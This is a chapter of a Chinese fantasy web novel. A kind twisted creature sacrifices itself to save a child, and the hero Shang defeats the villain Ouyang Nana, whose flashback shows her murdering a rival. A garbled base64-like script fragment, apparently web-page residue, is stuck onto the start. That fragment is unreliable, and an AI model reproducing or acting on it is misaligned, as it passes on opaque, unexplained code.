\"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第二十八话:暴戾之烛火 空寂的废墟之中不再安宁,刺耳的尖啸声与低吼声让这座城市躁动起来。一道紫色的光柱直冲云霄,耀眼的光芒照亮整座城市。巨大的紫色涡旋盘旋在天空之中,其中不时有雷霆霹雳。阴冷的狂风呼啸着吹过城市,卷起一层层的灰尘与碎石。檀紫色的迷雾在城市之中开始弥漫,令人恐惧的暗影在迷雾中现身。突然,紫色的光柱发出了耀眼的白光,一朵洁白无瑕的莲花在高塔上绽放。绽放的瞬间,强大的能量向着四面八方释放了出来,所经过的地面上都掀起巨大的紫色气浪。 殇见到这种情况,不由得皱紧了眉头。邵红尘突然开心地笑了,她对着那朵白莲花伸出了双手去抓,丝毫没感觉害怕。邵红尘没有见过这样的景象,不知道这意味着什么,她只是很天真的以为那就是朵普通的莲花。殇轻拍邵红尘的头,安抚了一下她。这时,大黑匆忙地跑了过来。殇见大黑过来,不明所以地挠了挠头。没想到,大黑一把抱起他就向着城外跑去。 被抱起来的殇一脸疑惑,直到他看到大黑嘴里叼着的石头,才明白了大黑的意思。大黑是意识到了危险,所以要护送他们离开这里。突然,大黑停止了奔跑。它痛苦地捂着头,回头看向那朵盛开的白莲花。它转过头来,张开手,一把挠破自己的脸,让血溅到了殇和邵红尘身上。大黑深情地看了殇和邵红尘一眼,然后将抱着邵红尘的殇放下,头也不回地向着城外跑去。殇能明白大黑的意思,他也跟着大黑向着城外跑去。 白莲花绽放后,每隔一段时间就对周围释放能量,像是一声声的呼唤,唤醒了许多沉睡的怪物。在它的一声声呼唤下,许多扭曲生物从深坑之中爬了出来。它们开始对着天空吼叫,唤醒了更多沉睡的扭曲生物。 在逃跑的过程中,许多扭曲生物慢慢追了上来。在跑到一家银行面前的时候,殇被扭曲生物给包围了。殇抱着邵红尘,没办法展开拳脚去突围,只能另寻办法。就在这时,一道绿色的激光击穿了其中一个扭曲生物的躯体,接着一个身上泛起叶绿色光辉的身影出现在那个扭曲生物的背后。几道刀光闪过,这个扭曲生物被那个身影砍成了碎肉。殇定睛一看,这个身影是拿着大刀的鹤凌霄。见到她,殇立马就赶了过去。那些扭曲生物可不会放过殇,它们立马追了上去。就在这时,许多拿着武器的身影出现它们周围,刀光剑影过后,那些扭曲生物全数被消灭。 到了鹤凌霄身边,殇看着怀里的邵红尘,说道: “邵红尘找到了!” 鹤凌霄定睛一看,还真是鹤凌霄。她激动地瞪大了双眼,脸上立马就洋溢起快乐的笑容。她看着殇怀里的鹤凌霄,惊呼: “我滴个老天爷呀!你真的做到了!” 殇将怀里的邵红尘交给了鹤凌霄。鹤凌霄抱起邵红尘,先用手安抚了一下邵红尘,然后对身边的科员大声命令道: “快!全体撤出该区域!立即通知龙辉神匠的人,我们找到邵红尘了!” 众科员立马回应道: “是!副会长!” 鹤凌霄她们跑着离开了这里,殇也跟着离开。但突然,他意识到了什么,立马就停住了。见到殇停下,鹤凌霄也停下,她很疑惑地问殇: “殇!怎么了?” 殇皱紧了眉毛,告诉鹤凌霄: “你们先回去,我还有点事要处理。” 鹤凌霄看了看怀中的邵红尘,思考了片刻,她抬起头去看殇,有些担心地对殇说: “那你小心。我们得先走了......” 殇点了点头。随后,鹤凌霄她们带着邵红尘离开了。殇看着她们离去时的身影,叹了口气。他意味深长地说道: “我跟这些怪物还有一笔账要算。” 突然,他的视线变得扭曲起来。那朵白莲花所释放的能量对他产生了影响,他的精神逐渐也变得有些扭曲。他看着天,开始回忆起过去,曾经的记忆慢慢地涌回他的大脑。想着想着,他想到了肃清者小时候的样子,想到了曾经的那个自己。 此时,他心里有个声音,一直在他心中回响。 “虽然我现在不是国王,但我也要为了我的人民而战斗。我要除掉这扭曲!为了我所生活的城市,为了我想守护的一切!” 一阵狂风吹过,阴冷之中带有一丝温度。他看了看自己的手,他隐约看到了过去的那个自己。他握紧了拳头,回想起了自己一路上所目睹的惨烈景象。疫病肆虐的土地上鬼魅横行、在苦痛与血水中挣扎的人民、扭曲肆虐后的萧然与悲凉......慢慢地,他在其中找到了共鸣点。 “繁花落尽,血流成河;末日喧嚣,行尸走肉;无端灾厄,有端仇恨;执掌城市,落叶归根。” 他想到了这些东西。精神上的扭曲愈发强烈,他心底的执念也愈发变得偏执。就在这时,一股神秘的神圣力量涌入了他的核心,再配合他强大的意志,最终扭曲对他精神的影响逐渐消失,他那偏执也慢慢消失。 在那种异常状态解除后,他有些头疼,但太没在意,就向着那朵白莲花的方向跑去。路上遇到几只扭曲怪物,殇就变出武器将它们斩杀殆尽。扭曲生物来几只,殇就杀几只。凡是挡他路的,他都会一一斩杀。就这样,殇一路杀向那朵白莲花。 殇现在心里只有一个想法,那就是除掉这祸害人间的扭曲。殇对它的恨,是难以用语言所诉说的。他隐约记得,他曾经看过扭曲肆虐城市的景象、还曾看到过一个又一个家庭的破碎、也曾看到人来人往的都市转眼间就变得寂静与血腥、当时的那番惨烈,殇至今记得。那难以用语言所描述出来血色都市,是他记忆深处挥之不去的梦魇。 与此同时...... 鹤凌霄一行人来到了一开始降落的那个广场上。此时,这里已是被怪物所包围,情况很不容乐观。但鹤凌霄此时发现,在这些怪物之中,貌似有一个异类。这个异类正在对着自己的同胞大大出手,属实是一种反常的举动。见到眼前的景象后,鹤凌霄等人感到疑惑与惊讶,唯独鹤凌霄怀里的邵红尘,一脸好奇地看着眼前的景象。突然间,她认出了那个与同胞战斗的扭曲生物异类。她开心地笑了,对着那个扭曲生物喊道: “黑黑!” 那个扭曲生物听到邵红尘叫它,愣了一下,转过头来看着众人。众人见了,一脸的难以置信。他们看了看那个高大的扭曲生物,又看了看鹤凌霄怀里十分开心的邵红尘,觉得更加不可思议了。他们当中有一人惊呼道: “这不可能的!” 大黑很快转过头去,一拳头把身后袭来的扭曲生物给打飞了出去。大黑捡起地面上一个扭曲生物的尸体,然后将它的血液抹在了这辆悬浮车上。大黑的行为在鹤凌霄她们看来很古怪,很难让人理解。此时的悬浮车几乎要被大黑给完全刷上一层“红漆”了。这时,广场周围的扭曲生物越来越多了。鹤凌霄她们见了,意识到必须赶紧撤离,于是边战斗边向着那辆悬浮车靠近。大黑见此,立马用武力帮她们清理出一条道路。鹤凌霄她们见大黑这么做,秉持着最基本的原则,没有选择去攻击大黑。她们在大黑的护送下成功登上悬浮车。同时,一颗悬浮金属球在不知不觉间地偷偷上了车。 此时那朵白莲花释放了一次能量,整座城市里的扭曲生物都狂暴了。更多的扭曲生物开始靠近这里,逐渐地形成了一个密闭的包围圈。 事不宜迟,鹤凌霄她们立马发动悬浮车,就准备离开。这时,大黑抓住了这辆悬浮车。鹤凌霄她们见了,下意识以为是大黑也跟那些扭曲生物一样狂暴了,要攻击她们;于是就立马拿出车内的枪,对着大黑猛烈射击。一颗一颗子弹打在大黑的身上,大黑却没有一丝愤怒。它扒开车门,将手指伸进了车内。车内的科员见了,立马抽剑就砍。大黑的手指被活生生砍断,但它却仍没有一丝愤怒。车内的科员们把大黑断掉的手指踢了下去,突然发现,大黑的手指下有一块沾血的石碑。毫无疑问,是大黑将它送了上来。见到这块石碑,鹤凌霄突然醒悟,她对着车内的科员说: “停手,它没有恶意。” 对大黑的射击停止了。所有科员都一脸惊讶地看着鹤凌霄,眼神之中满是疑问。鹤凌霄指着车内这块石碑,告诉众科员: “这肯定不是一般的石碑,它是想要帮助我们离开。” 她说出这句话后不久,大黑就用手指拉上了车门。大黑高举手中的悬浮车,用尽全身力气将它扔向了空中。车内的众人猛地往后一仰,好几人一起摔倒在车内。驾驶悬浮车的司机见此,立马激活驾驶系统,将前进动力拉满,即刻向着城外驶去。 在驶向城市之外的时候,鹤凌霄打开车后的全息车窗,去看后面的景象。她惊奇地发现,大黑正站在广场中央对着她们挥手。它所挥动的那只手,是被科员们砍下手指的那只手。大黑的周围聚来了很多扭曲生物,它们都对着大黑展现敌意。车越开越远了,鹤凌霄没有看到接下来发生的事。她转过头来,愧疚爬上了她的心头。她越想,就觉得越对不起大黑。 开着开着,一道巨大的红色屏障出现在鹤凌霄她们前方。也许是因为那块石碑或是这悬浮车上刷着的那些血的缘故,那屏障没有阻拦她们。那块石碑发出来耀眼的紫色光芒,那道屏障瞬间打开一个圆形口子,让她们安全离开了。走过屏障的时候,鹤凌霄打开了车后方的全息车窗,去凝视这座城市。不知怎么的,她的眼睛就泛起泪花。 这时,被其他科员抱着的邵红尘说想在地上玩,科员一听,就把她放到了地面上。到了地面,她欢快地跑来跑去,一旁还有个女科员陪着她玩。突然,她停住了,看向了那块静静放在地上的石碑。她跑到这块石碑前,去用力抬起它。那个陪她玩的科员见了,就跑过去帮助她抬起了这块石碑。在抬起这块石碑后,眼前的景象惊到了这个科员。在那块石碑底下,竟然藏着是三块糖。邵红尘见到这三块糖,开心地笑了,拿起这三块糖,跑着拿到了鹤凌霄面前。邵红尘拽了拽鹤凌霄的衣袖,鹤凌霄回过神来看着她。邵红尘把手中的糖递向鹤凌霄,并笑着对鹤凌霄说: “姐姐,给你吃。” 鹤凌霄拿起一块糖,仔细地打量了一番。她很好奇地问道: “这块糖是从哪里来的?” 这时,那个科员很好奇地将手中的石碑翻转了过来,惊讶地发现石碑的背面有一个被爪子扣开的窟窿。这个科员惊呼道: “天啊!太不可思议了。” 众科员集体看向她。她难掩心中的惊讶与感动,在众科员的注视之中,她向所有人展示出了这石碑后面的窟窿,并很郑重地解释道: “那个怪物......在这块石碑后面藏了三块糖。是给邵红尘的......” 众科员一听,都惊住了。他们相互对视了一番,然后集体看向了邵红尘。在看到邵红尘手里拿着的那两块糖的时候,众科员的心里先是一惊,后是一阵温暖。他们从未想过,他们一直所敌视的扭曲生物之中,竟会有善良的个体存在。他们不得不感叹这世界的奇妙,怪物竟能拥有一颗善良与细腻的心灵,这是多么不可思议的事情啊!可它的的确确存在。 科员们深感愧疚,都开始自责起来。 “我们都做了什么?!” “为什么我当时要挥刀砍它?为什么......” “我们错了......” “不该那么做的......” “我们砍了它,它却一点也没生气.......” “是我们误会它了......” 此时,几滴热泪从鹤凌霄的眼中流下,她被大黑所深深地感动到了。她手中的糖果,比任何一种糖都要甜。她看了看在地上开心地跑来跑去的邵红尘,又看了看手里这块糖纸上沾着还几滴血的糖果。愧疚与自责逐渐充满了她的内心。她对着车上所有科员深情地说道: “扭曲生物也曾是人类的模样。它们,是嗜血的怪物。令人憎恶!可今天我们见到的,却是一个温柔的大家伙。它虽是扭曲生物,可它却没表现出怪物该有的野性。扭曲并没有杀灭它心中的人性!它不是一个怪物,它是一个活生生的人!一个善良的好心人!” 这时,邵红尘跑到鹤凌霄身边,轻轻地拽了拽鹤凌霄的衣袖,问道: “姐姐。黑黑什么时候跟我们一起回家啊?” 鹤凌霄的手在发颤,她的嘴唇在颤抖。看着邵红尘纯洁的眼神,她的心要碎了。她轻轻地用手抚摸邵红尘的头,硬从脸上挤出微笑,只为在孩子面前展现出好的一面。鹤凌霄微笑着告诉她: “黑黑出远门了,过个一段时间回来。” 邵红尘听了有些失落地说道: “哦,好吧。” 邵红尘突然想到了什么,又拽了拽鹤凌霄的衣袖,笑着对鹤凌霄说: “姐姐,那我们等黑黑回来了,我们再去接它去我家玩。” 鹤凌霄轻抚邵红尘的头,微笑着告诉邵红尘: “好!等黑黑回来了,我们就带它去你家玩。” 鹤凌霄不敢告诉邵红尘真相,她害怕会给邵红尘留下心里阴影。毕竟她也不确定那个被邵红尘称为“黑黑”的扭曲生物是否还活着,只能默默地祈祷事情向着好的那一面发展。她不想知道任何有关此事的小心,因为没有答复就是对她最好的答复。 与此同时...... 轰的一声巨响,一栋小楼被两只扭曲怪物的尸体撞碎。顿时间,掀起了一大片尘雾,尘雾外的扭曲生物们虎视眈眈地看着这片尘雾。突然,一道火焰剑气飞出尘雾,将尘雾击碎。嗖的一下,这道剑气快速穿过数只扭曲生物,将它们点燃。片刻后,烈火猛烈燃烧,将废墟照亮。在烈火的灼烧下,许多只扭曲生物即刻毙命。尘雾散去,先是见到一把燃着火的剑,然后才见到那人的身影。那人不是别人,正是殇。殇手中握着一把燃着凤凰之炎的剑,其名:“涅盘”,是墨子邵专属的Emw。 扭曲生物见到殇后,立马就扑了上去。殇迅速挥动手中的剑,连续几剑下去,几道剑气飞出,掀起一阵阵灼热的气浪。烈火燃烧过后,这些扭曲生物全数毙命。一批死了,又来一批。几剑之内,又是全是毙命。再来一批,这次多了很多会飞的皇天与其他飞行类的扭曲生物。殇没有给它们一刻的准备时间,在它们出现在一瞬间,几道巨大的剑气就招呼了过去。轰的几声,几座小型建筑随着那些扭曲生物一同倒下。 在殇艰苦地奋战之后,殇终于来到了深坑边缘。在深坑的边缘与中心高塔之间,有由莲花根茎组成了三座大桥。殇现在距离其中一座只有三十多米的距离。殇并未直接登上大桥,而是在此时抬头向上看去,去仔细观察那朵白莲花。殇发现那朵白莲花正在向天空释放着强大的扭曲能量,同时在快速地生成众多根系,来汲取更多的养分。这股能量正在强化扭曲现象所影响的范围,同时在不断强化扭曲生物的战斗力。 殇: “(勇敢)终于是让我抵达这里了。我绝对不会再让你这朵害人的污秽造物继续祸害人间了!” 殇拿着剑向着那座大桥奔去。当他来到这座桥的桥头时,突然发现桥头多了一个诡异的王座,王座的后面有一个黑色的传送门。正当殇疑惑的时候,那个王座突然转了半圈,背对向殇。殇正纳闷呢,只听到王座上传来了一个女人的笑声。这笑声很甜美,听着貌似是一位漂亮女子所发出的,可到了殇耳朵里,却变得刺耳与诡异起来。王座又转了半圈转了过来,一个身着道袍的漂亮女子出现在了王座上。她左手拿着一根烟斗,右手拿着一朵雏菊,头上戴着精美的装饰,腰间佩戴着一把符文剑,看着像是位修为很高的宗门子弟。她一脸享受地吸了一口烟,然后漫不经心地对殇说: “诶呦,看看这是那位帅公子啊?啧啧啧,看看这长相,一看就是富贵人家的少爷啊!哈哈~” 殇没理会她说的话,二话没说,冲上前去连续三剑挥出。烈火包裹着剑刃,喷涌出大片烈焰,浩浩荡荡如猛虎扑食一般。 殇: “炎火横扫!” 轰的一下,那个王座直接把砍成了许多碎块。一个矫健的身影从空中落下,她毫发无损地再次出现殇的面前。她对着殇不怀好意地笑了笑,然后闭上眼睛对殇说道: “别这么粗鲁吗?这位帅公子。要懂得怜香惜玉啊。” 殇一个前冲打出一记横扫,她一个后撤步躲开。殇的行为激怒了她,她收起了笑容,一脸严肃地对殇说: “既然这位帅公子这么不领情,那么就别怪妾身不温柔了。” 她伸出手,召唤出了一把燃着火焰的长剑,将其握在手中,然后摆出了战斗的架势。她身后的白莲花释放了强大的扭曲能量,全城的扭曲生物在此刻开始疯狂,她也不例外。在战斗开始前,她先打出一刀把殇逼退出去四五米,然后郑重地向那朵白莲诉说了自己的情愿: “伟大的母亲安吉拉啊!请给予你的孩子欧阳娜娜力量吧!我将代表暴戾之罪,向着敌人们展开最猛烈的攻击!” 白莲回应了她的请求。无数紫色的光球出现在她的身边,快速环绕着她旋转。光球在旋转中逐渐靠近她的身体,最后被她完全吸收掉。获得了白莲之力的她,全身散发着鬼魅之息。她伸出手,通过幻术将周围的场景变成了一座长城,长城之下是万军在烈火中作战的情景。此时,殇和她,就位于长城之上。她的身上出现了一身龙凯,龙凯之上是扭曲的纹路;她的头顶长出了一对龙角,龙角之上有着几只红色的眼睛。她用手中的剑指着殇,一脸狂妄地对殇说: “受死吧!你这草民!化作我军团的一份子吧!哈哈哈!” 面对此情此景,殇没有丝毫恐惧,他摆出准备战斗的架势,做足了一切准备。欧耶娜娜郑重且狂妄地告诉殇: “吾乃神之女,烛火之神。接受你可悲的贱命的结束吧!” 战斗一触即发。欧阳娜娜一个前冲加突刺袭来,殇见此一个转身加上挑直接正面招架了她的攻击,接着快速转体二连斩挥出,她即刻后撤步躲开。殇冲上前去连续横扫挥出,她挥刀招架,殇抓准时机,对准她的下盘一个扫堂腿踢倒了她。她倒在了地上,迅速起身,殇再次抓准时机,对着她一记突刺打出,直接将剑刺入了她的腹部。殇猛地对她面部连续两记重拳打出,然后握着剑侧身狠狠地踢了一脚,直接拔出了插进她腹部的剑,接着双手握紧剑柄,一记破甲重击打了过去,直接将她打飞出去。 她捂了下肚子,然后快速起身,挥剑释放剑气。殇连续左右横移躲开,见此,她召唤出五把威力更大的幻影剑。幻影剑悬浮在空中,剑锋对着了殇,她一剑挥出,幻影剑集体刺向了殇,殇一个灵巧的身法躲避全部躲开。殇一个健步一跃而起,在空中一道挥出,一道巨大的火焰剑气飞向了她。她一个后空翻躲避,接着对着殇伸出手,青龙阵法出现在她的掌前。六把幻影剑出现在她的背后,剑锋正对殇,在她意识的操纵下,六把幻影剑以不同的运动方式袭向了殇。殇握紧手中的剑,使用回旋斩将这些幻影剑全部击飞出去,殇瞬间站稳脚步,连续三剑挥出,三道巨大的剑气以极快地速度飞向了她。她见此,用法力生成一块包围她全身的护盾抵挡。刺啦的一声,这三道剑气直接击碎了她生成的护盾,对她造成了重创。紧接着,殇一个冲刺来到她面前,对着她就是狠狠地一记下劈。 殇: “炎爆重剑!” 轰的一声,殇的这一剑狠狠地劈在了她的身上。由于威力过大,顿时间直接引起了爆炸。这一剑直接劈碎了周围地面,让周围燃起了大片烈火。硬吃下这一剑的她,被击飞出去十几米,差点就飞到了长城之下。她的样子已经非常骇人,之前的美丽此刻荡然无存。正在她要释放法术的时候,殇一个冲刺来到她的面前,一个突刺刺穿了她的心脏。这时,她操纵那六把幻影剑从殇的背后发动了攻击,准备以此来背刺击杀掉殇。她低估了殇的实力。殇早就察觉到那六把幻影剑,于是在幻影剑发动攻击的瞬间,一个长距离侧向冲刺躲开,成功让这些幻影剑无一例外地刺在了她身上。她痛苦地呻吟了几声,摆出了很可怜的样子,想让殇饶恕她。可在殇眼里,她是令人憎恶的扭曲生物,是杀一百遍都不解恨的怪物。殇没有仁慈她,先是对着她的脸重重地来了三拳,然后拔出剑,对着她使用了斩首处决。 处决过后,周围的长城开始扭曲与崩坏,周围的空间之中开始弥漫紫色的雾气。突然,一股强大的力量将殇给推开,殇与欧阳娜娜瞬间拉开了很长一段距离。这时,欧阳娜娜的尸体慢慢向上飞了起来,后而悬浮在空中。紫色的雾气在她身上汇聚,紫色的雷电在她身上涌动。一道闪光过后,殇的眼前突然出现了她的记忆世界。 欧阳娜娜的过去: 儿时的欧阳娜娜,生活于宗门世家。她的父亲是龙宗门的宗主,她的母亲是鹿宗门的执事。在她儿时的家庭氛围中,她的父母一直在给她灌输“强者思想”,教会她怎样能变得富贵,怎样能成为人上人。她很听话的都会学会了,因此她的“觉悟”培养较快,在同龄人之中总是最优秀的那个。念完大学堂之后,她便回归龙宗门,去参与新一任宗主的竞争当中。 为了变得强大、为了让自己的后代也出生在高贵的家庭之中、为了满足她对权力的欲望、为了实现她支配宗门的梦想,她总是不择手段。她明面上装得是个既漂亮又文明还贤惠的年轻女子,但背地里却是个心狠手辣、思想龌龊的小人。 有一次,甚至因为对手在五轮决胜对决之中没让自己取得全胜,就在暗地里将这名对手给施加了私刑,并用一种强致幻性的麻药让他忘记了自己受苦的经历。 欧阳娜娜: “(愤怒)这就是敢打断我连胜纪录的下场!你这贱人。哭吧哭吧!哭死了也没会在乎的!” 事后,欧阳娜娜亲自去举报了他。宗门内阁人员在调查后决定,将这名与她对决的弟子以擅自服用违禁药品的理由驱逐出宗门。在这名弟子离开宗门的时候,她还假惺惺地装作同情。 欧阳娜娜: “(假惺惺)真是可怜呢。如果那时候不犯错误该有多好?一个能够彼此促进的对手没了,真是可惜啊!” 还有一次,与她关系要好的师姐要去突破修为,想请她在一旁做个小见证人。她自然是答应了,但心底里在此时开始打起了小算盘。现在她师姐所处的修炼阶段是所有阶段中最危险的阶段,突破修为时伴随着致命的危险,如果失败就有可能丧命。 欧阳娜娜心想: “抱歉了,师姐。你要是成了,那么可就会成为我以后竞选宗主的阻碍。你一定希望你的小师妹能够有一番成就吧!那你就做些贡献,以死亡替我打通道路,如何啊?” 在突破修为的过程中,欧阳娜娜一直守候在她师姐身边,一直等待着她师姐修为突破或失败的那个时刻。由于她师姐有些着急,导致在最关键的一环上犯了错,从而最后导致她师姐突破失败。如果突破失败了,就要有人及时将一些法力注入修为突破失败者的身体,来让他们及时恢复内部的法力平衡,但如果给予的法力过多,那就会让修为突破失败者七窍流血而亡。现在欧阳娜娜要做的,就是给予她师姐些法力。 任欣怡(欧阳娜娜师姐): “(虚弱)奇怪......怎么回事?为什么,我感觉这么痛苦......” 欧阳娜娜: “(阴笑)师姐,我的法力是不是很让你满意啊?” 任欣怡: “(虚弱)法力......停下,这些法力太多了!我现在很虚弱,承受不住这些......” 欧阳娜娜: “(阴笑)不不不,为了前途着想,你得多吸收点法力。不然,这前途的道路就该有多余的麻烦了......” 任欣怡: “(虚弱)不对......你这话什么意思?!” 欧阳娜娜: “(阴笑)师姐啊,咱们是自家人,那我就开门见山了。我有个梦想,那就是成为龙宗门的宗主。可是吧,你的小师妹实力又比较弱,比不过你们这些先入行的师哥师姐。因此我得更加努力!” 任欣怡: “(惊讶)所以你的意思是......” 欧阳娜娜: “(阴笑)我想,你一定会希望你最爱的小师妹有一番成就的吧。你要是看到我有了大出息,成了人上之人,一定会很开心的吧。我们是好姐妹,对吧......” 任欣怡: “(悲愤)欧阳娜娜......我看错人了......” 欧阳娜娜: “(阴笑)一轮顺风哦。我会接替你的意志,去完成你我共同的梦想的哦。放心......你的功劳我会永远铭记的!” 话音刚落,她的师姐就倒下了,以七窍流血的死法离开了人世。欧阳娜娜抱着她师姐的尸体,像一位演员一样哭了起来,接着抱着她师姐的尸体边哭边往宗门那边走。她以她师姐修为突破失败而死的理由向宗门内阁通告了她师姐的死亡,宗门那边相信了她的话。事后,欧阳娜娜为她师姐举行了追悼会。在追悼会上,欧阳娜娜是最伤心的那个人,也是最开心的那个人。后来她的师姐的骨灰由她的家人拿回故乡安葬,欧阳娜娜听到这个消息,觉得很可惜。 欧阳娜娜: “师姐啊,真是可惜啊。如果你的坟墓设在宗门后山的陵园里,我一定会找时间去看你的。如果有机会,我一定会在你的坟山吐几口痰的,那样你到地底下了也忘不了我哦。” 回忆结束,回到现实。 欧阳娜娜以一个半兽半人的状态出现在殇的面前。她头上的龙角更大了,同时脸上与胳膊上多了很多龙鳞,背后还多了一对长着许多翅膀的羽翼。她伸出手来,召唤出了一把由骨骼、金属、肉块组成的大关刀和一面诡异的镶金骨盾。她手中的关刀上有着密密麻麻的眼睛,还有一张咬住刀刃、满嘴利齿的大嘴,以及刀刃上燃着的紫色烈火。她变得更加吓人了,完全没了之前的漂亮,同时也更加疯狂了。 殇见过她的回忆之后,从心底里就觉得她是个令人恶心的小人。魂神皆烂,无德无义,自私自利,见不得别人好,就活是一人渣,死是一烂鬼。殇对她的憎恨与敌意更深一层了,这下不仅仅是因为她是扭曲生物了,更因为她是一个令殇憎恶的人渣。 天空中开始飘落许多雪花,周围的景象逐渐变成了宗门大院的样子。寒风呼啸,吹来凉意与白雪。大院内的灯火通明,院内的梅树上几朵梅花。墙壁上画着的神龙,在雪中似在云霄上遨游。院内响起了各种乐器弹奏的声音,琵琶、古筝、二胡、萧、筑齐上阵,演奏出一首掺杂了些许柔情格调的激昂之乐。欧阳娜娜站在宗门内最大最豪华的房屋前的平台上,她背对着殇,背影中显露出她的高傲。 欧阳娜娜: “(感伤)你从来都不理解,我作为一个宗主所承受的那些痛苦。你从不明白,我为了成为宗主所付出的努力。” 她转过身来,一脸不屑地看着殇。 欧阳娜娜: “(傲慢)算了......你这等贱命是没法理解我的痛苦的。你能为我做的,只有牺牲你不值几金的苦命。准备好受死吧!” 她舞转手中的关刀,一个健步从平台上一跃而下,一脚踩在地上,地面直接裂开一大片。殇耸了耸肩,对着她摇了摇头。一把燃着烈焰的剑,一个心怀正义的战士,一份曾经失去的信念...... 殇: “突变!连接!EcL-125,涅盘。” 殇手中的剑变成了一把方天画戟,他的身上的衣物变成了凤灵血钢甲(墨子邵与殇决战时的那身铠甲),曾经击败对手的力量,在他身上重现。他的脚下,团团烈火形成火环,火环向天喷涌烈火,一只凤凰,在烈火中出现。凤凰振翅而飞,在口中张开羽翼,放出耀光。烈焰之耀光,灼热而耀眼,能驱散邪魅之魑魅魍魉。 战斗一触即发。两人以迅雷不及掩耳之势瞬间靠近彼此,随即就是两道剑影闪过。雪花慢慢飘下,在即将落到地面的时候,强大的气浪瞬间出现地面上,震飞了这片雪花,同时震飞宗门大院内的所有积雪。剑影过后,气浪卷起地面上的雪,在两人周围形成一阵白色旋风。 交锋过后,殇先手攻击,突刺、横扫、上挑加下劈一套组合技打出,同时伴随着殇的灵活移动,她见此后撤、举盾、挥刀招架加后撤一一应付下来。紫色烈焰在关刀上猛烈燃烧,她舞转关刀,一个健步一跃而起,在空中旋转一周,落地一个大规模横扫打出。刷的一下,地面上瞬间燃起了大片紫色的火焰,许多石砖虽这一刀而崩碎开来,燃着紫火的碎石向上飞溅,其场面可谓是无比壮观。殇横过手中的戟,一个后撤步完美格挡下了这一刀。这一刀过后,她舞转手中的关刀,然后一个疾步直线冲向殇,同时挥动手中的关刀进行各种攻击。殇一个侧向冲刺躲开,没等站稳脚步,她又一个疾步冲来,殇见了,向着另一边侧向冲刺躲开。她来回快速冲刺了5次,期间对着殇进行了无规律的横扫、突刺、跃起砸地、下劈,招式花样之多但都被殇用灵巧的身法全部规避。冲刺结束后,她一个急停,对着殇是一记大范围横扫加上挑,其威力十分巨大,光产生的气浪与冲击就让周围的地砖碎裂开来了。这一招殇通过高超的身法给躲开了,她这套组合技打了空。挥出这两刀后,她踉跄了一下,就是这一个踉跄,让她露出了致命的破绽。 抓住这个机会,殇一个健步前冲来到她面前,对着她就是狠狠地一刺。她见了,一个后撤步试着躲开,但因为殇的速度太快,她还是被刺中了。长戟刺穿了她的盔甲,剧烈的疼痛让她反应迟钝了半秒。就在这半秒之中,殇握紧拳头,一记龙拳打在了她的脸上,既把她打退出去,又接力拔出了刺入她身体的战戟。击退之时,她反应过来,正准备反击,没想到殇一个高跳加空中转体就是一记下劈砍了过来,她没来得及躲开,直接被这一下给毁了容,整张脸的中心多了一道焦黑色的伤疤。她后退几步,殇乘胜追击,连续三下刺出,全数命中,对她造成了重创。之后还没完,殇紧接着转体半周一个上挑打出,然后就一个大范围横扫。她承受不住这两下,直接被击退出去七八米,撞破房门,重重地砸在了宗主的宝座上。 她喘了几口气,然后往地上吐了一口血,擦了擦嘴角的鲜血。她从宝座上将身上龙凯卸下来,变出一身龙纹宗主服穿在身上,然后从宝座上慢慢走下。殇一个冲刺来到房间内,他舞转手中的战戟,摆出了准备战斗的架势。一阵狂风吹进房间内,房间内的几盏灯被吹倒,地板很快被点燃。咚的一下,房间的大门被风一下子给吹得闭上了。火势蔓延迅速,很快形成了一个环形的火墙。殇环视了一圈四周,发现自己和欧阳娜娜正处在火墙的包围之中。接下来,就是决斗场式的战斗了。 欧阳娜娜: “(阴笑)很有能耐吗。看来,你这贱命值几个钱啊。接下来,就请看好吧!妾身的能力可是很招人喜欢的呢。在烛火中灭亡吧!你这草民!” 她使用法术,召唤出了四个造型各异的灯笼,每个灯笼之中都燃着颜色各不相同的火焰。这时,房间内回荡起了之前的乐曲声。此时此刻,正是乐曲的高潮时刻。她舞转手中的关刀,以迅雷不及掩耳之势袭向了殇。没有过多话语,两人瞬间开始战斗。在近距离战斗之中,殇一边攻击一边灵活地躲避她的攻击,两人的实力差距很快就显露了出来。刷刷几下,殇快速出手两记横扫打出,正中她的身躯。她知道近距离战斗不利,立马后撤几步,一个后空翻落到了宝座之上坐下。火墙升起,她在火墙操纵那几个灯笼对着殇进行猛烈的攻击。 四盏灯如移动炮台般在屋内乱窜,同时对着殇发射各种大小的火球,殇以快速冲刺加灵活躲避全部躲开;然后四盏灯改变阵型,开始沿直线水平竖直移动,边移动边对着地面喷射高温猛火,殇用灵巧的身法全部躲开;最后四盏灯齐聚在房间中心,向着东西南北四个方向喷射烈火,接下来开始加速旋转,同时开始匀速上下运动。殇见了,用高超的身法见缝插针,完美躲避了这些烈火。在某个时刻,殇抓住机会,一个滑铲来到这四盏灯下面,在四盏灯落下之时对着这四盏灯连续两记横扫,直接将这四盏灯直接砍碎。 火墙落下,她舞转关刀,一跃而起来到房间中央,二话不说就是一记大范围横扫。殇一个健步一跃而起躲开这一刀。几个火球突然袭来,殇转头一看,发现是好多盏灯对自己发射的火球。殇连挥几下战戟,招架下了那几个火球,同时发射一道剑气斩碎了那几盏灯。殇一个落地猛冲快速落地,同时将她击退出去几米。抓准时机,殇冲上前去一个下劈打出,她横刀格挡,勉强招架下这一击。但紧接着,殇转体半周一个突刺刺了归来,她没来得及反应,就被这一击刺穿了身体。殇拔出战戟,又是一记横扫,将她直接打飞出去十几米。落地后,她喘着粗气,一脸愤怒地往地上吐了口鲜血。 欧阳娜娜: “呦呦呦,不错嘛。看看你能不能接下这招!” 